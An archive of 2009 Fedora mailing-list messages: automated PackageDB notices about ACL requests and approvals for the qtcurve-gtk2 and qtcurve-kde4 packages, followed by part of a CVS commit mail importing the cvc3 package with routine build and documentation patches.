Date: Thu, 22 Oct 2009 16:18:13 +0000
Subject: [pkgdb] qtcurve-gtk2: rdieter has requested watchbugzilla
Message-ID: <20091022161813.703A110F8B6@bastion2.fedora.phx.redhat.com>

rdieter has requested the watchbugzilla acl on qtcurve-gtk2 (Fedora devel)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From pkgdb at fedoraproject.org  Thu Oct 22 16:18:24 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:18:24 +0000
Subject: [pkgdb] qtcurve-gtk2: rdieter has requested approveacls
Message-ID: <20091022161824.97B1910F8CA@bastion2.fedora.phx.redhat.com>

rdieter has requested the approveacls acl on qtcurve-gtk2 (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From pkgdb at fedoraproject.org  Thu Oct 22 16:18:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:18:25 +0000
Subject: [pkgdb] qtcurve-gtk2: rdieter has requested commit
Message-ID: <20091022161825.A1E0710F8A2@bastion2.fedora.phx.redhat.com>

rdieter has requested the commit acl on qtcurve-gtk2 (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From pkgdb at fedoraproject.org  Thu Oct 22 16:18:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:18:26 +0000
Subject: [pkgdb] qtcurve-gtk2: rdieter has requested watchcommits
Message-ID: <20091022161826.36F2510F8C6@bastion2.fedora.phx.redhat.com>

rdieter has requested the watchcommits acl on qtcurve-gtk2 (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From pkgdb at fedoraproject.org  Thu Oct 22 16:18:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:18:27 +0000
Subject: [pkgdb] qtcurve-gtk2: rdieter has requested watchbugzilla
Message-ID: <20091022161827.90EC010F8B4@bastion2.fedora.phx.redhat.com>

rdieter has requested the watchbugzilla acl on qtcurve-gtk2 (Fedora 10)

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From pkgdb at fedoraproject.org  Thu Oct 22 16:24:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:24:08 +0000
Subject: [pkgdb] qtcurve-kde4 had acl change status
Message-ID: <20091022162408.79CD710F850@bastion2.fedora.phx.redhat.com>

thomasj has set the watchbugzilla acl on qtcurve-kde4 (Fedora devel) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 22 16:24:08 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:24:08 +0000
Subject: [pkgdb] qtcurve-kde4 had acl change status
Message-ID: <20091022162408.F20F410F880@bastion2.fedora.phx.redhat.com>

thomasj has set the watchcommits acl on qtcurve-kde4 (Fedora devel) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 22 16:24:10 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:24:10 +0000
Subject: [pkgdb] qtcurve-kde4 had acl change status
Message-ID: <20091022162410.3D50F10F892@bastion2.fedora.phx.redhat.com>

thomasj has set the commit acl on qtcurve-kde4 (Fedora devel) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 22 16:24:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:24:12 +0000
Subject: [pkgdb] qtcurve-kde4 had acl change status
Message-ID: <20091022162412.55ED110F89C@bastion2.fedora.phx.redhat.com>

thomasj has set the approveacls acl on qtcurve-kde4 (Fedora devel) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 22 16:24:18 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:24:18 +0000
Subject: [pkgdb] qtcurve-kde4 had acl change status
Message-ID: <20091022162418.6210A10F885@bastion2.fedora.phx.redhat.com>

thomasj has set the watchcommits acl on qtcurve-kde4 (Fedora 12) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 22 16:24:17 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:24:17 +0000
Subject: [pkgdb] qtcurve-kde4 had acl change status
Message-ID: <20091022162417.E5B4F10F85F@bastion2.fedora.phx.redhat.com>

thomasj has set the watchbugzilla acl on qtcurve-kde4 (Fedora 12) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 22 16:24:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:24:19 +0000
Subject: [pkgdb] qtcurve-kde4 had acl change status
Message-ID: <20091022162420.1156D10F892@bastion2.fedora.phx.redhat.com>

thomasj has set the commit acl on qtcurve-kde4 (Fedora 12) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 22 16:24:21 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:24:21 +0000
Subject: [pkgdb] qtcurve-kde4 had acl change status
Message-ID: <20091022162421.C1E1910F8A2@bastion2.fedora.phx.redhat.com>

thomasj has set the approveacls acl on qtcurve-kde4 (Fedora 12) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 22 16:24:26 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:24:26 +0000
Subject: [pkgdb] qtcurve-kde4 had acl change status
Message-ID: <20091022162426.AB72A10F8AD@bastion2.fedora.phx.redhat.com>

thomasj has set the watchbugzilla acl on qtcurve-kde4 (Fedora 11) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 22 16:24:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:24:27 +0000
Subject: [pkgdb] qtcurve-kde4 had acl change status
Message-ID: <20091022162427.C8A6E10F85F@bastion2.fedora.phx.redhat.com>

thomasj has set the watchcommits acl on qtcurve-kde4 (Fedora 11) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 22 16:24:29 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:24:29 +0000
Subject: [pkgdb] qtcurve-kde4 had acl change status
Message-ID: <20091022162429.A713210F89A@bastion2.fedora.phx.redhat.com>

thomasj has set the commit acl on qtcurve-kde4 (Fedora 11) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 22 16:24:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:24:30 +0000
Subject: [pkgdb] qtcurve-kde4 had acl change status
Message-ID: <20091022162430.C2ECE10F891@bastion2.fedora.phx.redhat.com>

thomasj has set the approveacls acl on qtcurve-kde4 (Fedora 11) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 22 16:24:33 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:24:33 +0000
Subject: [pkgdb] qtcurve-kde4 had acl change status
Message-ID: <20091022162434.16CE410F894@bastion2.fedora.phx.redhat.com>

thomasj has set the watchbugzilla acl on qtcurve-kde4 (Fedora 10) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 22 16:24:34 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:24:34 +0000
Subject: [pkgdb] qtcurve-kde4 had acl change status
Message-ID: <20091022162434.F411710F8B0@bastion2.fedora.phx.redhat.com>

thomasj has set the watchcommits acl on qtcurve-kde4 (Fedora 10) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 22 16:24:36 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:24:36 +0000
Subject: [pkgdb] qtcurve-kde4 had acl change status
Message-ID: <20091022162436.9E29F10F8B4@bastion2.fedora.phx.redhat.com>

thomasj has set the commit acl on qtcurve-kde4 (Fedora 10) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 22 16:24:38 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:24:38 +0000
Subject: [pkgdb] qtcurve-kde4 had acl change status
Message-ID: <20091022162438.2CAF910F8AD@bastion2.fedora.phx.redhat.com>

thomasj has set the approveacls acl on qtcurve-kde4 (Fedora 10) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-kde4



From pkgdb at fedoraproject.org  Thu Oct 22 16:25:04 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:25:04 +0000
Subject: [pkgdb] qtcurve-gtk2 had acl change status
Message-ID: <20091022162504.5C7EA10F885@bastion2.fedora.phx.redhat.com>

thomasj has set the watchcommits acl on qtcurve-gtk2 (Fedora devel) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From pkgdb at fedoraproject.org  Thu Oct 22 16:25:05 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:25:05 +0000
Subject: [pkgdb] qtcurve-gtk2 had acl change status
Message-ID: <20091022162506.3017F10F892@bastion2.fedora.phx.redhat.com>

thomasj has set the commit acl on qtcurve-gtk2 (Fedora devel) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From pkgdb at fedoraproject.org  Thu Oct 22 16:25:07 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:25:07 +0000
Subject: [pkgdb] qtcurve-gtk2 had acl change status
Message-ID: <20091022162508.2F8CE10F8AD@bastion2.fedora.phx.redhat.com>

thomasj has set the approveacls acl on qtcurve-gtk2 (Fedora devel) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From pkgdb at fedoraproject.org  Thu Oct 22 16:25:11 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:25:11 +0000
Subject: [pkgdb] qtcurve-gtk2 had acl change status
Message-ID: <20091022162511.3D1E110F8AB@bastion2.fedora.phx.redhat.com>

thomasj has set the watchbugzilla acl on qtcurve-gtk2 (Fedora 12) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From pkgdb at fedoraproject.org  Thu Oct 22 16:25:12 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:25:12 +0000
Subject: [pkgdb] qtcurve-gtk2 had acl change status
Message-ID: <20091022162512.6D8D210F892@bastion2.fedora.phx.redhat.com>

thomasj has set the watchcommits acl on qtcurve-gtk2 (Fedora 12) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From pkgdb at fedoraproject.org  Thu Oct 22 16:25:14 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:25:14 +0000
Subject: [pkgdb] qtcurve-gtk2 had acl change status
Message-ID: <20091022162514.7ABB810F8B1@bastion2.fedora.phx.redhat.com>

thomasj has set the commit acl on qtcurve-gtk2 (Fedora 12) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From pkgdb at fedoraproject.org  Thu Oct 22 16:25:15 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:25:15 +0000
Subject: [pkgdb] qtcurve-gtk2 had acl change status
Message-ID: <20091022162515.A2DD910F8B4@bastion2.fedora.phx.redhat.com>

thomasj has set the approveacls acl on qtcurve-gtk2 (Fedora 12) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From pkgdb at fedoraproject.org  Thu Oct 22 16:25:20 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:25:20 +0000
Subject: [pkgdb] qtcurve-gtk2 had acl change status
Message-ID: <20091022162520.29D2810F8BA@bastion2.fedora.phx.redhat.com>

thomasj has set the watchcommits acl on qtcurve-gtk2 (Fedora 11) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From pkgdb at fedoraproject.org  Thu Oct 22 16:25:22 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:25:22 +0000
Subject: [pkgdb] qtcurve-gtk2 had acl change status
Message-ID: <20091022162522.4EF6C10F8C4@bastion2.fedora.phx.redhat.com>

thomasj has set the commit acl on qtcurve-gtk2 (Fedora 11) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From pkgdb at fedoraproject.org  Thu Oct 22 16:25:23 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:25:23 +0000
Subject: [pkgdb] qtcurve-gtk2 had acl change status
Message-ID: <20091022162523.7529C10F85A@bastion2.fedora.phx.redhat.com>

thomasj has set the approveacls acl on qtcurve-gtk2 (Fedora 11) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From pkgdb at fedoraproject.org  Thu Oct 22 16:25:25 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:25:25 +0000
Subject: [pkgdb] qtcurve-gtk2 had acl change status
Message-ID: <20091022162525.EAD2F10F895@bastion2.fedora.phx.redhat.com>

thomasj has set the watchbugzilla acl on qtcurve-gtk2 (Fedora 10) to Obsolete for rdieter

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From pkgdb at fedoraproject.org  Thu Oct 22 16:25:27 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:25:27 +0000
Subject: [pkgdb] qtcurve-gtk2 had acl change status
Message-ID: <20091022162527.50BA710F8AD@bastion2.fedora.phx.redhat.com>

thomasj has set the watchcommits acl on qtcurve-gtk2 (Fedora 10) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From pkgdb at fedoraproject.org  Thu Oct 22 16:25:28 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:25:28 +0000
Subject: [pkgdb] qtcurve-gtk2 had acl change status
Message-ID: <20091022162528.DE88510F8C9@bastion2.fedora.phx.redhat.com>

thomasj has set the commit acl on qtcurve-gtk2 (Fedora 10) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From pkgdb at fedoraproject.org  Thu Oct 22 16:25:30 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:25:30 +0000
Subject: [pkgdb] qtcurve-gtk2 had acl change status
Message-ID: <20091022162530.527F910F8AB@bastion2.fedora.phx.redhat.com>

thomasj has set the approveacls acl on qtcurve-gtk2 (Fedora 10) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From pkgdb at fedoraproject.org  Thu Oct 22 16:25:02 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:25:02 +0000
Subject: [pkgdb] qtcurve-gtk2 had acl change status
Message-ID: <20091022162502.CC72D10F85A@bastion2.fedora.phx.redhat.com>

thomasj has set the watchbugzilla acl on qtcurve-gtk2 (Fedora devel) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From pkgdb at fedoraproject.org  Thu Oct 22 16:25:19 2009
From: pkgdb at fedoraproject.org (Fedora PackageDB)
Date: Thu, 22 Oct 2009 16:25:19 +0000
Subject: [pkgdb] qtcurve-gtk2 had acl change status
Message-ID: <20091022162519.664B410F8B7@bastion2.fedora.phx.redhat.com>

thomasj has set the watchbugzilla acl on qtcurve-gtk2 (Fedora 11) to Approved for rdieter

To make changes to this package see:
  /pkgdb/packages/name/qtcurve-gtk2



From jjames at fedoraproject.org  Thu Oct 22 16:25:39 2009
From: jjames at fedoraproject.org (Jerry James)
Date: Thu, 22 Oct 2009 16:25:39 +0000 (UTC)
Subject: rpms/cvc3/devel cvc3-build.patch, NONE, 1.1 cvc3-doc.patch, NONE,
	1.1 cvc3-gcc4.patch, NONE, 1.1 cvc3-java.patch, NONE,
	1.1 cvc3.spec, NONE, 1.1 import.log, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091022162539.7F60211C008C@cvs1.fedora.phx.redhat.com>

Author: jjames

Update of /cvs/pkgs/rpms/cvc3/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv25899/devel

Modified Files:
	.cvsignore sources 
Added Files:
	cvc3-build.patch cvc3-doc.patch cvc3-gcc4.patch 
	cvc3-java.patch cvc3.spec import.log 
Log Message:
Initial import.


cvc3-build.patch:
 Makefile.std |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE cvc3-build.patch ---
diff -dur cvc3-2.1.ORIG/Makefile.std cvc3-2.1/Makefile.std
--- cvc3-2.1.ORIG/Makefile.std	2009-09-30 12:54:34.000000000 -0600
+++ cvc3-2.1/Makefile.std	2009-10-15 21:12:35.804289073 -0600
@@ -92,7 +92,7 @@
   DEBUG_PLATFORM = -optdbg
 else
 ifeq ($(OPTIMIZED),1)
-  LOCAL_CXXFLAGS = -O2
+  LOCAL_CXXFLAGS =
   DEBUG_PLATFORM =
 else
   LOCAL_CXXFLAGS = -D_CVC3_DEBUG_MODE -g -O0
@@ -177,7 +177,7 @@
   BUILD_SHARED_LIB=1
 endif
 
-LOCAL_CXXFLAGS += -Wall $(INCLUDE_DIR)
+LOCAL_CXXFLAGS += $(INCLUDE_DIR)
 
 ifdef EXTRAFLAGS
   LOCAL_CXXFLAGS += $(EXTRAFLAGS)

cvc3-doc.patch:
 INSTALL                                             |    2 
 doc/Doxyfile.in                                     |   30 ++++++++++---
 src/include/expr.h                                  |    2 
 src/include/theory_arith3.h                         |    2 
 src/include/theory_arith_new.h                      |   17 ++++---
 src/include/theory_arith_old.h                      |   11 ++---
 src/include/vc.h                                    |   12 ++---
 src/sat/sat_proof.h                                 |    2 
 src/theory_arith/theory_arith3.cpp                  |    2 
 src/theory_arith/theory_arith_new.cpp               |    2 
 src/theory_arith/theory_arith_old.cpp               |    2 
 src/theory_bitvector/bitvector_theorem_producer.cpp |   44 ++++++++++----------
 src/theory_core/theory_core.cpp                     |    2 
 src/theory_datatype/theory_datatype.cpp             |   16 +++----
 src/theory_quant/quant_theorem_producer.cpp         |    1 
 src/theory_quant/theory_quant.cpp                   |    6 +-
 src/vcl/vcl.cpp                                     |   35 ++++++++-------
 17 files changed, 103 insertions(+), 85 deletions(-)

--- NEW FILE cvc3-doc.patch ---
diff -dur cvc3-2.1.ORIG/doc/Doxyfile.in cvc3-2.1/doc/Doxyfile.in
--- cvc3-2.1.ORIG/doc/Doxyfile.in	2007-09-12 18:06:50.000000000 -0600
+++ cvc3-2.1/doc/Doxyfile.in	2009-10-19 10:13:12.768107753 -0600
@@ -31,7 +31,7 @@
 # This could be handy for archiving the generated documentation or 
 # if some version control system is used.
 
-PROJECT_NUMBER         = 
+PROJECT_NUMBER         = 2.1
 
 # The OUTPUT_DIRECTORY tag is used to specify the (relative or absolute) 
 # base path where the generated documentation will be put. 
@@ -499,8 +499,7 @@
 # excluded from the INPUT source files. This way you can easily exclude a 
 # subdirectory from a directory tree whose root is specified with the INPUT tag.
 
-EXCLUDE                = devel.dox \
-                         theory_api.dox
+EXCLUDE                = devel.dox
 
 # The EXCLUDE_SYMLINKS tag can be used select whether or not files or 
 # directories that are symbolic links (a Unix filesystem feature) are excluded 
@@ -1042,8 +1041,7 @@
 # undefined via #undef or recursively expanded use the := operator 
 # instead of the = operator.
 
-PREDEFINED             = DEBUG \
-                         DOXYGEN
+PREDEFINED             = DOXYGEN
 
 # If the MACRO_EXPANSION and EXPAND_ONLY_PREDEF tags are set to YES then 
 # this tag can be used to specify a list of macro names that should be expanded. 
@@ -1137,6 +1135,24 @@
 
 HAVE_DOT               = @HAVE_DOT@
 
+# By default doxygen will write a font called FreeSans.ttf to the output 
+# directory and reference it in all dot files that doxygen generates. This 
+# font does not include all possible unicode characters however, so when you need 
+# these (or just want a differently looking font) you can specify the font name 
+# using DOT_FONTNAME. You need need to make sure dot is able to find the font, 
+# which can be done by putting it in a standard location or by setting the 
+# DOTFONTPATH environment variable or by setting DOT_FONTPATH to the directory 
+# containing the font.
+
+DOT_FONTNAME           = FreeSans
+
+# By default doxygen will tell dot to use the output directory to look for the 
+# FreeSans.ttf font (which doxygen will put there itself). If you specify a 
+# different font using DOT_FONTNAME you can set the path where dot 
+# can find it using this tag.
+
+DOT_FONTPATH           = /usr/share/fonts/gnu-free
+
 # If the CLASS_GRAPH and HAVE_DOT tags are set to YES then doxygen 
 # will generate a graph for each documented class showing the direct and 
 # indirect inheritance relations. Setting this tag to YES will force the 
@@ -1213,7 +1229,7 @@
 # generated by dot. Possible values are png, jpg, or gif
 # If left blank png will be used.
 
-DOT_IMAGE_FORMAT       = gif
+DOT_IMAGE_FORMAT       = png
 
 # The tag DOT_PATH can be used to specify the path where the dot tool can be 
 # found. If left blank, it is assumed the dot tool can be found in the path.
@@ -1247,7 +1263,7 @@
 # makes dot run faster, but since only newer versions of dot (>1.8.10) 
 # support this, this feature is disabled by default.
 
-DOT_MULTI_TARGETS      = NO
+DOT_MULTI_TARGETS      = YES
 
 # If the GENERATE_LEGEND tag is set to YES (the default) Doxygen will 
 # generate a legend page explaining the meaning of the various boxes and 
diff -dur cvc3-2.1.ORIG/INSTALL cvc3-2.1/INSTALL
--- cvc3-2.1.ORIG/INSTALL	2009-10-15 16:06:18.000000000 -0600
+++ cvc3-2.1/INSTALL	2009-10-19 10:13:59.048162819 -0600
@@ -196,7 +196,7 @@
 </pre>
 
 <b>Note:</b> The Java interface depends on the "build type" (e.g.,
-"optimized", "debug) of %CVC3. If you choose to re-configure and
+"optimized", "debug") of %CVC3. If you choose to re-configure and
 re-build %CVC3 with a different build type, you must run "make clean"
 in the current directory and re-build the interface (cleaning and 
 rebuilding the entire %CVC3 package will suffice).
diff -dur cvc3-2.1.ORIG/src/include/expr.h cvc3-2.1/src/include/expr.h
--- cvc3-2.1.ORIG/src/include/expr.h	2009-10-04 12:41:29.000000000 -0600
+++ cvc3-2.1/src/include/expr.h	2009-10-19 10:13:37.775165727 -0600
@@ -388,7 +388,7 @@
   //! Test if e is an atomic formula
   /*! An atomic formula is TRUE or FALSE or an application of a predicate
     (possibly 0-ary) which does not properly contain any formula.  For
-    instance, the formula "x = IF f THEN y ELSE z ENDIF is not an atomic
+    instance, the formula "x = IF f THEN y ELSE z ENDIF" is not an atomic
     formula, since it contains the condition "f", which is a formula. */
   bool isAtomicFormula() const;
   //! An abstract atomic formua is an atomic formula or a quantified formula
diff -dur cvc3-2.1.ORIG/src/include/theory_arith3.h cvc3-2.1/src/include/theory_arith3.h
--- cvc3-2.1.ORIG/src/include/theory_arith3.h	2009-05-29 23:48:15.000000000 -0600
+++ cvc3-2.1/src/include/theory_arith3.h	2009-10-19 10:13:12.769107906 -0600
@@ -337,7 +337,7 @@
 	 * Fixes the current max coefficient to be used in the ordering. If the maximal coefficient
 	 * changes in the future, it will not be used in the ordering.
 	 * 
-	 * @param var the variable
+	 * @param variable the variable
 	 * @param max the value to set it to
 	 */ 
 	void fixCurrentMaxCoefficient(Expr variable, Rational max);
diff -dur cvc3-2.1.ORIG/src/include/theory_arith_new.h cvc3-2.1/src/include/theory_arith_new.h
--- cvc3-2.1.ORIG/src/include/theory_arith_new.h	2009-06-29 20:14:48.000000000 -0600
+++ cvc3-2.1/src/include/theory_arith_new.h	2009-10-19 10:13:12.769107906 -0600
@@ -434,7 +434,7 @@
   				inline bool operator == (const EpsRational& r) const { return (q == r.q && k == r.k);	}
   				
   				/**
-  				 * Les then or equal comparison operator.
+  				 * Less than or equal comparison operator.
   				 */
   				inline bool operator <= (const EpsRational& r) const { 
   					switch (r.type) {
@@ -459,12 +459,12 @@
   				}
   				
   				/**
-  				 * Les then comparison operator.
+  				 * Less than comparison operator.
   				 */
   				inline bool operator < (const EpsRational& r) const { return !(r <= *this); }
   				
   				/**
-  				 * Bigger then equal comparison operator.
+  				 * Greater than comparison operator.
   				 */
   				inline bool operator > (const EpsRational& r) const { return !(*this <= r); }
   				
@@ -787,6 +787,7 @@
   		 * Asserts a new upper bound constraint on a variable and performs a simple check for consistency (not complete).
   		 * 
   		 * @param x_i the variable to assert the bound on
+  		 * @param c the bound to assert
 		 */
   		QueryResult assertUpper(const Expr& x_i, const EpsRational& c, const Theorem& thm);
 
@@ -794,13 +795,15 @@
   		 * Asserts a new lower bound constraint on a variable and performs a simple check for consistency (not complete).
   		 * 
   		 * @param x_i the variable to assert the bound on
+  		 * @param c the bound to assert
 		 */
   		QueryResult assertLower(const Expr& x_i, const EpsRational& c, const Theorem& thm);
   		
   		/**
-  		 * Asserts a new equality constraint on a variable by asserting both upper and lower bound.
+  		 * Asserts a new equality constraint on a variable by asserting both upper and lower bounds.
   		 * 
   		 * @param x_i the variable to assert the bound on
+  		 * @param c the the bound to assert
 		 */
   		QueryResult assertEqual(const Expr& x_i, const EpsRational& c, const Theorem& thm);  		
 
@@ -862,8 +865,8 @@
   		
   		/**
   		 * Knowing that the tableaux row for \f$x_i\f$ is the problematic one, generate the
-  		 * explanation clause. The variables in the row of \f$x_i = \sum_{x_j \in \mathcal{N}}{a_ij x_j}\f$ are separatied to
-  		 * <ul>
+		 * explanation clause. The variables in the row of \f$x_i = \sum_x{x_j \in \mathcal{N}}{a_ij x_j}\f$ are separated to
+		 * <ul>
   		 * <li>\f$\mathcal{N}^+ = \left\lbrace x_j \in \mathcal{N} \; | \; a_{ij} > 0 \right\rbrace\f$
 		 * <li>\f$\mathcal{N}^- = \left\lbrace  x_j \in \mathcal{N} \; | \; a_{ij} < 0\right\rbrace\f$ 
   		 * </ul>
@@ -878,7 +881,7 @@
 
   		/**
   		 * Knowing that the tableaux row for \f$x_i\f$ is the problematic one, generate the
-  		 * explanation clause. The variables in the row of \f$x_i = \sum_{x_j \in \mathcal{N}}{a_ij x_j}\f$ are separatied to
+  		 * explanation clause. The variables in the row of \f$x_i = \sum_{x_j \in \mathcal{N}}{a_ij x_j}\f$ are separated to
   		 * <ul>
   		 * <li>\f$\mathcal{N}^+ = \left\lbrace x_j \in \mathcal{N} \; | \; a_{ij} > 0 \right\rbrace\f$
 		 * <li>\f$\mathcal{N}^- = \left\lbrace  x_j \in \mathcal{N} \; | \; a_{ij} < 0\right\rbrace\f$ 
diff -dur cvc3-2.1.ORIG/src/include/theory_arith_old.h cvc3-2.1/src/include/theory_arith_old.h
--- cvc3-2.1.ORIG/src/include/theory_arith_old.h	2009-09-29 19:50:21.000000000 -0600
+++ cvc3-2.1/src/include/theory_arith_old.h	2009-10-19 10:13:12.771175241 -0600
@@ -364,7 +364,7 @@
 	 * Fixes the current max coefficient to be used in the ordering. If the maximal coefficient
 	 * changes in the future, it will not be used in the ordering.
 	 *
-	 * @param var the variable
+	 * @param variable the variable
 	 * @param max the value to set it to
 	 */
 	void fixCurrentMaxCoefficient(Expr variable, Rational max);
@@ -653,7 +653,7 @@
 	  				inline bool operator == (const EpsRational& r) const { return (q == r.q && k == r.k);	}
 
 	  				/**
-	  				 * Les then or equal comparison operator.
+	  				 * Less than or equal comparison operator.
 	  				 */
 	  				inline bool operator <= (const EpsRational& r) const {
 	  					switch (r.type) {
@@ -678,19 +678,19 @@
 	  				}
 
 	  				/**
-	  				 * Les then comparison operator.
+	  				 * Less than comparison operator.
 	  				 */
 	  				inline bool operator < (const EpsRational& r) const { return !(r <= *this); }
 
 	  				/**
-	  				 * Bigger then equal comparison operator.
+	  				 * Greater than comparison operator.
 	  				 */
 	  				inline bool operator > (const EpsRational& r) const { return !(*this <= r); }
 
 	  				/**
 	  				 * Returns the string representation of the number.
 	  				 *
-	  				 * @param the string representation of the number
+	  				 * @return the string representation of the number
 	  				 */
 	  				std::string toString() const {
 	  					switch (type) {
@@ -846,7 +846,6 @@
 			 * @param x variable x::Difference
 			 * @param y variable y
 			 * @param c rational c
-			 * @param kind the kind of inequality (LE or LT)
 			 * @param edge_thm the theorem for this edge
 			 */
 			void addEdge(const Expr& x, const Expr& y, const Rational& c, const Theorem& edge_thm);
diff -dur cvc3-2.1.ORIG/src/include/vc.h cvc3-2.1/src/include/vc.h
--- cvc3-2.1.ORIG/src/include/vc.h	2009-10-04 12:41:29.000000000 -0600
